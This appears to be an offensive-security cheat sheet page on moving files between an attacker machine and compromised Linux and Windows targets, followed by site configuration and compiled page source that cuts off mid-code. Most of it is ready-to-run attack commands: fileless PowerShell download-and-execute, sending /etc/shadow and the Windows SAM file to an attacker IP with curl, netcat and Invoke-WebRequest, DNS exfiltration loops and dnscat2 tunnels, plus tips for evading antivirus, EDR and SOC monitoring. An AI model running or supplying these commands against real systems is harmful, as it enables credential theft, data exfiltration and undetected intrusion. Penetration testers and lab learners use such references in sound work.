Moving files between your attacker machine and a target is a core skill. The right method depends on what is available: HTTP, SMB, DNS, or just the shell session itself.
Hosting Files (Attacker Side)
Before pulling anything to a target, you need to serve it. These are the fastest ways to spin up a file server on your attacker machine.
# Python HTTP (simplest, works everywhere)python3 -m http.server 8080# PHP HTTP (alternative when Python is missing)php -S 0.0.0.0:8080# Python HTTPS with a self-signed cert (bypasses targets that block plain HTTP)openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 1 -out server.crt -subj "/CN=attacker"python3 -c "import ssl, http.serverctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)ctx.load_cert_chain('server.crt', 'server.key')httpd = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)httpd.serve_forever()"# impacket SMB server (serves current directory as share named 'share')impacket-smbserver share . -smb2support# impacket SMB server with auth (required by newer Windows defaults)impacket-smbserver share . -smb2support -username user -password pass# Netcat: push a single file to a waiting receiver (no server needed)nc -lvnp 443 < file.exe # attacker listens and streams the file out
Linux: Downloading Files
Standard download methods available on most Linux targets. wget and curl are almost always present; the others are fallbacks when standard tools are stripped.
# wgetwget http://<ip>:8080/file -O /tmp/file# curlcurl http://<ip>:8080/file -o /tmp/file# curl over HTTPS with self-signed cert (-k skips certificate verification)curl -k https://<ip>/file -o /tmp/file# curl/wget through a SOCKS proxy (e.g., after setting up a Ligolo/Chisel tunnel)curl --proxy socks5://127.0.0.1:1080 http://<ip>/file -o /tmp/filewget -e use_proxy=yes -e socks_proxy=socks5://127.0.0.1:1080 http://<ip>/file -O /tmp/file# bash /dev/tcp (no external tools required, works on any bash host)bash -c 'cat < /dev/tcp/<ip>/443 > /tmp/file'# Python (when wget/curl are absent)python3 -c "import urllib.request; urllib.request.urlretrieve('http://<ip>:8080/file', '/tmp/file')"# SCP (when you have SSH access to the target)scp user@<target>:/remote/path/file . # pull from target to attackerscp /local/file user@<target>:/tmp/file # push from attacker to target# Netcat receive (attacker: nc -lvnp 443 < file.exe)nc <ip> 443 > /tmp/file
FTP
When a target exposes FTP (21), test anonymous access first: it’s a common source of loot or a foothold via writable directories.
ftp> lsftp> get file.txt # single fileftp> mget * # multiple files, prompts per fileftp> put shell.php # upload, if the share is writableftp> bye
Recursive download of an entire FTP share with wget — no interactive session needed. Credentials go straight in the URL; the trailing /* mirrors every file and subdirectory.
wget -r ftp://username:password@ftp.<domain>/*# Anonymouswget -r ftp://anonymous:anonymous@<ip>/*# Through a Ligolo/Chisel SOCKS tunnelwget -r --proxy=on -e ftp_proxy=socks5://127.0.0.1:1080 ftp://anonymous:anonymous@<ip>/*
wget -r on FTP mirrors the whole tree into a local directory named after the host — good for grabbing everything at once when you don’t know which file matters yet.
Linux: Uploading Files
Methods to push files from a compromised Linux host back to your attacker machine for exfiltration or analysis.
# curl POST multipart upload (attacker needs uploadserver or a handler)curl -X POST http://<ip>:8080/upload -F "file=@/etc/passwd"# Python uploadserver (run on attacker: pip3 install uploadserver, then:)python3 -m uploadserver 8080# then from target:curl -X POST http://<ip>:8080/upload -F "files=@/etc/shadow"# SCP push back to attackerscp /etc/passwd kanyo@<attacker_ip>:/tmp/loot/# Netcat push (attacker: nc -lvnp 443 > received_file)cat /etc/passwd | nc <attacker_ip> 443
Windows: Downloading Files
PowerShell and built-in Windows binaries (LOLBins) cover most scenarios. Prefer PowerShell methods; fall back to certutil or bitsadmin when PowerShell is restricted.
# Invoke-WebRequest (PowerShell 3+)Invoke-WebRequest http://<ip>:8080/file.exe -OutFile C:\Windows\Temp\file.exe# WebClient DownloadFile (compatible with older PowerShell versions)(New-Object Net.WebClient).DownloadFile('http://<ip>:8080/file.exe', 'C:\Windows\Temp\file.exe')# Fileless execution: download and run a PS1 script entirely in memory (nothing written to disk)IEX (New-Object Net.WebClient).DownloadString('http://<ip>:8080/payload.ps1')# Invoke-WebRequest with Chrome User-Agent (bypasses basic agent filtering on web servers)Invoke-WebRequest http://<ip>/nc.exe ` -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome ` -OutFile C:\Windows\Temp\nc.exe# Bypass execution policy for the current session before running scriptsSet-ExecutionPolicy Bypass -Scope Process -Force# From cmd or a non-interactive shellpowershell -ep bypass -c "(New-Object Net.WebClient).DownloadFile('http://<ip>/file.exe','C:\Temp\file.exe')"
:: certutil (LOLBin, available on all modern Windows)certutil.exe -urlcache -split -f http://<ip>:8080/file.exe C:\Windows\Temp\file.exe:: bitsadmin (runs as a background transfer job)bitsadmin /transfer job /download /priority high http://<ip>:8080/file.exe C:\Windows\Temp\file.exe:: SMB copy from impacket-smbserver (attacker: impacket-smbserver share . -smb2support)copy \\<attacker_ip>\share\file.exe C:\Windows\Temp\file.exe:: SMB with auth (attacker: impacket-smbserver share . -smb2support -username user -password pass)net use \\<attacker_ip>\share /user:user passcopy \\<attacker_ip>\share\file.exe C:\Windows\Temp\file.exe
Windows: Uploading Files
Methods to push files from a compromised Windows host back to the attacker for exfiltration.
# Base64-encode a file and POST it (no special server needed, just a listener)$bytes = [IO.File]::ReadAllBytes("C:\Windows\system32\sam")$b64 = [Convert]::ToBase64String($bytes)Invoke-WebRequest -Uri http://<attacker_ip>:8080/ -Method POST -Body $b64# SMB copy back to attacker share (impacket-smbserver on attacker)copy C:\Windows\Temp\loot.txt \\<attacker_ip>\share\loot.txt
When no HTTP or SMB path exists, encode the file as base64 and paste it directly through the shell session. This works over any interactive shell, including RDP clipboard and reverse shells.
# Linux: encode a file to base64 (no line wrapping so you can paste in one shot)base64 -w 0 /path/to/file && echo# Linux: decode back to fileecho '<base64_string>' | base64 -d > /tmp/file# Verify integrity after transfermd5sum /path/to/original/filemd5sum /tmp/file
# Windows: encode a file to base64[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Windows\Temp\file.exe"))# Windows: decode base64 back to binary file[IO.File]::WriteAllBytes("C:\Windows\Temp\file.exe", [Convert]::FromBase64String("<base64_string>"))# Verify integrity after transferGet-FileHash C:\Windows\Temp\file.exe -Algorithm MD5
File Transfer over DNS (Exfil)
Use DNS only when every other channel is blocked. It is slow and generates unusual query volume, so use it as a last resort.
# dnscat2: full bidirectional tunnel over DNS (run server on attacker first)# Attacker:ruby dnscat2.rb --dns "domain=<your_domain>,host=0.0.0.0" --no-cache# Target (Linux):./dnscat2 <your_domain># Target (Windows):.\dnscat2.ps1 -Domain <your_domain>
# Manual DNS exfil: chunk a file and send each chunk as a subdomain query (slow, noisy)# Each nslookup sends 16 bytes as a hex subdomain to your controlled domainfor chunk in $(xxd -p -c 16 /etc/passwd); do nslookup "$chunk.<attacker_domain>" > /dev/null 2>&1done# Capture queries on attacker with: tcpdump -i eth0 udp port 53
Evading Detection
Simple steps that make file transfers blend in or avoid leaving artifacts that AV and EDR flag.
# Rename extension before transfer; rename on target after download# Attacker: mv shell.exe shell.txt# Target: mv shell.txt shell.exe (or: copy shell.txt shell.exe)# Serve over 443 to blend with HTTPS traffic (even plain HTTP on 443 helps bypass port-level filters)python3 -m http.server 443# Serve with a real HTTPS cert (avoids DPI alerts on plaintext)# Use the Python HTTPS snippet from the 'Hosting Files' section above# Fileless execution: never writes to disk, avoids file-based AV scanningIEX (New-Object Net.WebClient).DownloadString('http://<ip>/payload.ps1')# Use LOLBins (certutil, bitsadmin, mshta, regsvr32) instead of dropping known tools# These are signed Microsoft binaries and less likely to trigger hash-based detections# Transfer on uncommon but plausible ports: 443, 8443, 8080, 53# Avoid 4444, 1234 and other default reverse shell ports that SOC teams watch
{"docsConfig":{"theme":"mint","$schema":"https://mintlify.com/docs.json","name":"Grimoire","colors":{"primary":"#15803d","light":"#22c55e","dark":"#16a34a"},"favicon":"https://mintcdn.com/grimoire/bROIfTeHTX9Q_Z1F/favicon-32.png?fit=max\u0026auto=format\u0026n=bROIfTeHTX9Q_Z1F\u0026q=85\u0026s=c1e2441731994f21dfdb210a981dc71e","appearance":{"default":"dark"},"background":{"decoration":"gradient"},"navbar":{"links":[{"href":"https://chaelsoo.me/","label":"Blogpost"}]},"footer":{"socials":{"github":"https://github.com/chaelsoo","x":"https://x.com/kanyo_19","linkedin":"https://www.linkedin.com/in/abderrahmen-dellaa-a78517249"}},"styling":{"eyebrows":"breadcrumbs","codeblocks":{"theme":{"light":"night-owl","dark":"night-owl"}},"latex":false},"thumbnails":{"appearance":"dark"},"interaction":{"drilldown":true},"navigation":{"pages":[]}},"deployment":{"deploymentMetadataValue":{"subdomain":"grimoire","hasAudioNarration":false,"actualSubdomain":"grimoire","customDomains":["notes.chaelsoo.me"],"gitSource":{"type":"github","owner":"chaelsoo","repo":"grimoire","deployBranch":"main","contentDirectory":"","isPrivate":false,"mountPath":"","label":""},"feedback":{"thumbs":false},"entitlements":{"AI_CHAT":{"status":"DISABLED"}},"buildId":"6ab3ba9bc22d193ec329ed8a","clientVersion":"0.0.4271","searchFilterCounts":[{"language":"default","tag":"Active Directory","count":19},{"language":"default","tag":"Infrastructure","count":15},{"language":"default","tag":"Web","count":14},{"language":"default","tag":"Attacks","count":10},{"language":"default","tag":"Recon \u0026 Tools","count":10},{"language":"default","tag":"Vulnerabilities","count":10},{"language":"default","tag":"Enumeration","count":6},{"language":"default","tag":"Linux","count":6},{"language":"default","tag":"Overview","count":5},{"language":"default","tag":"Recon","count":5}]},"assistantConfig":{"enableAskAiButton":false,"enableStarterQuestions":false,"enableContextualStarterQuestions":false,"enableAskAiSearchBar":true},"basePath":"","hasChatPermissions":false,"hasWebMcpPermissions":false,"toggles":[{"name":"kill-isr","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-rbac-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-mintlify-slack","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"agent-integrations-settings","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"rbac-expansion","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-pr-grouping","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"custom-prefix","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"analytics-v7","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"user-flows-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"no-publish-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-onboarding","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving-live","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"stripTemperatureMiddleware","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"support-platform-pylon-zendesk","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"snapshot-serving","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"instant-rollback","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications-server","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"granular-notifications","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automations-fable","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fixed-ai-action-pricing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"site-roles","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"automation-resolve-merge-conflict","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"scoped-publishing","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"mintql","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"page-level-analytics","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-version-history-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"billing-page-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"full-page-search","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workspace-projects","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"assistant-v5","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"fork-pr-previews","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"revalidation-jwt","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-sso-scim","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"hobby-abuse-scan","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"dashboard-inbox","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-signup","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-dual-write","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"workos-enabled","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"approve-review-flow","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"editor-metadata","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"sso-setup-deadline-banner","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"turbopuffer-serve","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"live-agents","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"starter-pricing","enabled":true,"variant":{"name":"control","enabled":true,"payload":{"type":"string","value":"control"},"feature_enabled":true},"impressionData":false},{"name":"llms-txt-v2","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false},{"name":"wildcard-email-auth","enabled":true,"variant":{"name":"disabled","enabled":false,"feature_enabled":true},"impressionData":false}],"googleFontsInlined":false},"customCss":[{"filePath":"style.css","content":"toc-item>a{position:relative;padding-left:1rem!important}toc-item[data-active-deepest]>a::before{content:\"\";position:absolute;left:0;top:50%;width:0.75rem;height:0.75rem;transform:translateY(-50%);background-color:currentColor;-webkit-mask:url(\"data:image/svg+xml;utf8,\u003csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='currentColor' stroke-width='2.5' stroke-linecap='round' stroke-linejoin='round'>\u003cpolyline points='9 18 15 12 9 6'/>\u003c/svg>\") no-repeat center / contain;mask:url(\"data:image/svg+xml;utf8,\u003csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24' fill='none' stroke='currentColor' stroke-width='2.5' stroke-linecap='round' stroke-linejoin='round'>\u003cpolyline points='9 18 15 12 9 6'/>\u003c/svg>\") no-repeat center / contain;pointer-events:none}#navbar a[href=\"/\"] img,#navbar a[href=\"/\"] svg,#sidebar a[href=\"/\"] img,#sidebar a[href=\"/\"] svg{max-width:14rem;height:auto}a[nav-tabs-item]{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.kb-feature-card{background-color:rgb(var(--foreground-light, 17 24 39))}.kb-feature-card::before{content:\"\";position:absolute;inset:0;background-image:url('/images/texture.png');background-position:center;background-size:cover;opacity:0.875}"}]}
{"page":{"pagePath":"file-transfers","slug":"/file-transfers","pageMetadata":{"title":"File Transfers","description":null,"href":"/file-transfers"},"pageType":"default","mdx":{"mdxSource":{"compiledSource":"\"use strict\";const{Fragment:_Fragment,jsx:_jsx,jsxs:_jsxs}=arguments[0];const{useMDXComponents:_provideComponents}=arguments[0];function _createMdxContent(props){const _components={code:`code`,p:`p`,pre:`pre`,span:`span`,..._provideComponents(),...props.components},{CodeBlock,Heading,Tip}=_components;if(!CodeBlock)_missingMdxReference(`CodeBlock`,true);if(!Heading)_missingMdxReference(`Heading`,true);if(!Tip)_missingMdxReference(`Tip`,true);return _jsxs(_Fragment,{children:[_jsx(_components.p,{children:`Moving files between your attacker machine and a target is a core skill. The right method depends on what is available: HTTP, SMB, DNS, or just the shell session itself.`}),`\n`,_jsx(Heading,{level:`2`,id:`hosting-files-attacker-side`,children:`Hosting Files (Attacker Side)`}),`\n`,_jsx(_components.p,{children:`Before pulling anything to a target, you need to serve it. These are the fastest ways to spin up a file server on your attacker machine.`}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`25`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`25`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Python HTTP (simplest, works everywhere)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`python3`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -m`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http.server`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 8080`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# PHP HTTP (alternative when Python is missing)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`php`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -S`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` 0.0.0.0:8080`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Python HTTPS with a self-signed cert (bypasses targets that block plain HTTP)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`openssl`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` req`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -newkey`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` rsa:2048`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -nodes`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -keyout`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` server.key`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -x509`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -days`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 1`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -out`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` server.crt`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -subj`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`/CN=attacker`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`python3`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -c`}),_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:` \"`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`import ssl, http.server`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`ctx.load_cert_chain('server.crt', 'server.key')`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`httpd = http.server.HTTPServer(('0.0.0.0', 443), http.server.SimpleHTTPRequestHandler)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`httpd.serve_forever()`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#D9F5DD`,\"--shiki-dark\":`#D9F5DD`},children:`\"`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# impacket SMB server (serves current directory as share named 'share')`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`impacket-smbserver`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` share`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` .`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -smb2support`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# impacket SMB server with auth (required by newer Windows defaults)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`impacket-smbserver`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` share`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` .`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -smb2support`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -username`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` user`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -password`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` pass`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# Netcat: push a single file to a waiting receiver (no server needed)`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`nc`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -lvnp`}),_jsx(_components.span,{style:{color:`#F78C6C`,\"--shiki-dark\":`#F78C6C`},children:` 443`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:` \u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` file.exe`}),_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:` # attacker listens and streams the file out`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`linux-downloading-files`,children:`Linux: Downloading Files`}),`\n`,_jsxs(_components.p,{children:[`Standard download methods available on most Linux targets. `,_jsx(_components.code,{children:`wget`}),` and `,_jsx(_components.code,{children:`curl`}),` are almost always present; the others are fallbacks when standard tools are stripped.`]}),`\n`,_jsx(CodeBlock,{filename:``,wrap:`true`,numberOfLines:`25`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes night-owl night-owl`,style:{backgroundColor:`#011627`,\"--shiki-dark-bg\":`#011627`,color:`#d6deeb`,\"--shiki-dark\":`#d6deeb`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`25`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# wget`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`wget`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:8080/file`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` -O`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` /tmp/file`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#637777`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#637777`,\"--shiki-dark-font-style\":`italic`},children:`# curl`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-light-font-style\":`italic`,\"--shiki-dark\":`#82AAFF`,\"--shiki-dark-font-style\":`italic`},children:`curl`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:` http://`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`\u003c`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`i`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`p`}),_jsx(_components.span,{style:{color:`#7FDBCA`,\"--shiki-dark\":`#7FDBCA`},children:`>`}),_jsx(_components.span,{style:{color:`#ECC48D`,\"--shiki-dark\":`#ECC48D`},children:`:8080/file`}),_jsx(_components.span,{style:{color:`#82AAFF`,\"--shiki-dark\":`#82AAFF`},children:` 